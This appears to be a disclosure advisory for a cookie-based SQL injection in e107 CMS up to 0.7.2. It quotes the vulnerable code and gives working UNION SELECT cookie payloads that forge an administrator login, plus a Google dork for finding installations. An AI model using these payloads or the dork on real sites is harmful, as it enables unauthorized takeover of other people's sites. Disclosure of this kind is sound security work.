SQL-Injection in e107 allows attacker to become a site admininstrator

[socsam@xxxxxxxxxxxxx]

Software: e107 (CMS)

Versions: <= 0.7.2

Type:   SQL-injection
        
Homepage:       www.e107.org



Description:

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SQL-Injection in e107 allows attacker to become a site admininstrator.


Requirements:

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Magic_quotes_gpc = Off


Vulnerability:

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Vulnerability has been found in processing the COOKIE.
COOKIE use for authentification users and administrator.
Data transfered to this parameter not are filtered.

Code:

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class2.php
.....
>       list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".",         
>           >  $_COOKIE[$pref['cookie_name']]) : explode(".", 
> $_SESSION[$pref['cookie_name']]));
.....

>       if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", 
> FALSE)) {
.....



Exploit:
0.6.xxx

1.blabla_hash_password' union select * from e107_user where user_id=1/*


0.7.X

1.blabla_hash_password' union select 
1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,32,33
 /*

Additional Information:

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Google dorks: "Powered by e107"


Vendor Status

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The vendor is informed!